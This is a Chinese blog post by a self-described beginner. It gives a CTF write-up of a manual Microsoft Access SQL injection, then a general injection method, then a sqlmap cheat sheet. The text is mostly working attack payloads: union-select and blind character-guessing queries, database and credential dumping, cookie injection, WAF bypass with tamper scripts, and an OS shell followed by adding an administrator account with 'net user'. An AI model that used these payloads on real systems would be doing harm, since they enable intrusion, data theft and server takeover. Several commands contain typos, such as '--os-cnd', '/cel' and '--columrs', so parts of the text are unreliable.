access注入(新手菜鸟随笔)

作为一名新手,今天在博客园发表第一篇随笔,纯属自娱自乐。

(高手绕道。此题是西安华山杯的web题。题目内容如下。进入正题。。)

本来想用SQLMAP跑出来但发现想多了。题目也提示了工具不适用,所以只能用纯手工。

 

http://218.245.4.113:8888/web03/ca55022fa7ae5c29d179041883fe1556/index.asp?id=886

1. order by *(*是数字,输入直到显示正常)  从1开始一个一个试。输入1,2.......12一直到12返回的页面都是正常,输入13时页面显示错误。所以总共有12个字段。

2.输入and 1=2 union select 1,* from 表名  判断表名 表段中有几个字段

发现直到输入and 1=2 union select 1,2,3,4,5,6,7,8,* from 表名  页面显示不一样了(此处表名为admin)

所以得出表名(此处为admin)有12-8=4个字段。

3.

and 1=2 union select 1,2,3,4,* from (admin as a inner join admin as b on a.id=b.id)

显示了5—12位置的数据。

这时候就弹出了key.

 

归纳一下以纯手工access注入的方法,个人觉得挺实用的。

1.

 and '1'='1'

 and '1'='2'

注入存在了,判断数据库是ACC或MSS的,利用系统表

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,

在WEB环境下有访问权限。对于以下两条语句:

 and (select count(*) from sysobjects)>0

 and (select count(*) from msysobjects)>0

若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。

 

2.  判断表名:

and (select count(*) from 表名)>0

如果表名存在就会返回正常,反页错误。  通常的表名有admin,login,article_admin,login_admin   .......(自己一个个去试,比较抓狂)

 

3.表名猜完之后那就猜列(为了方便假设表名为admin)

猜列名:

语法:and (select count(字段名) from admin)>0

 

例:and (select count(username) from article_admin)>0

返回了正常,接着提交:

 and (select count(password) from article_admin)>0

返回了正常,如果都返回正常那就说明存在username和password这两个字段名。(当然同样需要去猜,手工的就是比较麻烦)

 

4.猜用户名和密码长度;(一下的字段名都假设为username,password方便阐述。)

 and (select top 1 len(username) from article_admin)=5

返回正常,说明username内容长度为5( =?     ?从1开始一直去尝试,知道返回页面错误为止。)

and (select top 1 len(password) from article_admin)=16

正常,password内容长度为16,也就是MD5的值。

5.

猜用户名和密码内容:

 and (select top 1 asc(mid(username,1,1)) from article_admin)=97

返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。

猜第二位把username,1,1改成username,2,1就可以了。

猜密码把username改成password就OK了

同时附上以ASC表方便查阅。

 

 

既然上面说了手工的那么也不能不提一下sqlmap这个神器了,本人刚接触sqlmap也就一个月时间左右,觉得好事比较好用的,就是把参数记住了基本就能使用了。以下是一些常用的参数,为了以后方便的查阅,平时也收藏了些。现在都放出来。

 

第一步:sqlmap.py -u “注入点” 看看有没有注入
第二步:sqlmap.py -u “注入点” --tables 猜表
第三步:sqlmap.py -u “注入点” --columns -t admin 猜解字段
第四步:sqlmap.py -u “注入点” --dump -T admin -C ”username,password“

SQLMAP数据库注入
第一步:sqlmap.py -u “注入点” --dbs 首先这条命令是获取他的一个数据库
第二步:sqlmap.py -u “注入点” -D 指定的数据库 --tables 获取指定数据库
第三步:sqlmap.py -u “注入点” -D sqldummywebsite -T user_info --columns 获取数据库指定的一个表名
第四步:sqlmap.py -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_login --dump 从指定的数据库的表中列出用户名
第五步:sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump 提取用户密码

 

SQLMAPcookie注入
第一步:sqlmap.py -u “注入” --cookie“id=几” --table --level 2
第二步:sqlmap.py -u “注入” --cookie “id=几” --columns -t admin --level 2
第三步:sqlmap.py -u “注入” --cookie“id=几” --dump -T admin -C “username,password”--level 2

 

SQLMAP交互写shell及命令执行

第一步:sqlmap.py -u “注入” --os-cnd=ipconfig

第二步:sqlmap.py -u “注入” --os-shell
第三步:net user admin admin /add net user net user admin /cel
SQLMAP伪静态注入
第一步:sqlmap.py -u “注入加个*” --dos
第二步:sqlmap.py -u “注入加个*” -D 表名 --tables
第三步:sqlmap.py -u “注入加个*” -D 表名 -T 列名 --columrs
第四步:sqlmap.py -u “注入加个*” -D oreem -T 列名 -C password --dump 爆出列名下的数据
第六课SQLMAP绕过WAF防火墙
第一步:sqlmap.py -u “注入点” -v 3 --dbs --batch --tamper “space2morehash.py”
第二步:sqlmap.py -u “注入点” --privileges 看看权限是什么

 

SQLMAP注入脱裤
第一步:sqlmap.py -u “注入点” -v 1 –dbs 列举数据库 –
第二步:sqlmap.py -u “注入点” -v 1 –current-db 当前数据库 –>
第三步:sqlmap.py -u “注入点” -v 1 –users 列数据库用户
第四步:sqlmap.py -u “注入点” -v 1 –current-user 当前用户
第五步:sqlmap.py -u “注入点” -v 1 –tables -D “数据库表名” 列举数据库XXX的表名
第六步:sqlmap.py -u “注入点” -v 1 –columns -T “disk_admin” -D “126disk” 获取admin列名
第七步:sqlmap.py -u “注入点” -v 1 –dump -C “id,login,pass,user” -T “disk_admin” -D “表名” 获取表disk_admin中的数据,包含列 id,login,pass,user
第八步:sqlmap.py -u “注入点” -v 1 –columns -T “disk_user” -D “表名” 获取表disk_user的列名
第九步:sqlmap.py -u “注入点” -v 1 –dump -C “id,name,pass,email,wenti,daan” -T “disk_user” -D “表名” –start 1 –stop 100 获取表disk_user的前100条数据,包含id,name,pass,email,wenti,daan;这里已经开始拖库了

 

 

 

posted @ 2015-11-01 19:22  Szm--追梦屌丝man  阅读(964)  评论(0编辑  收藏  举报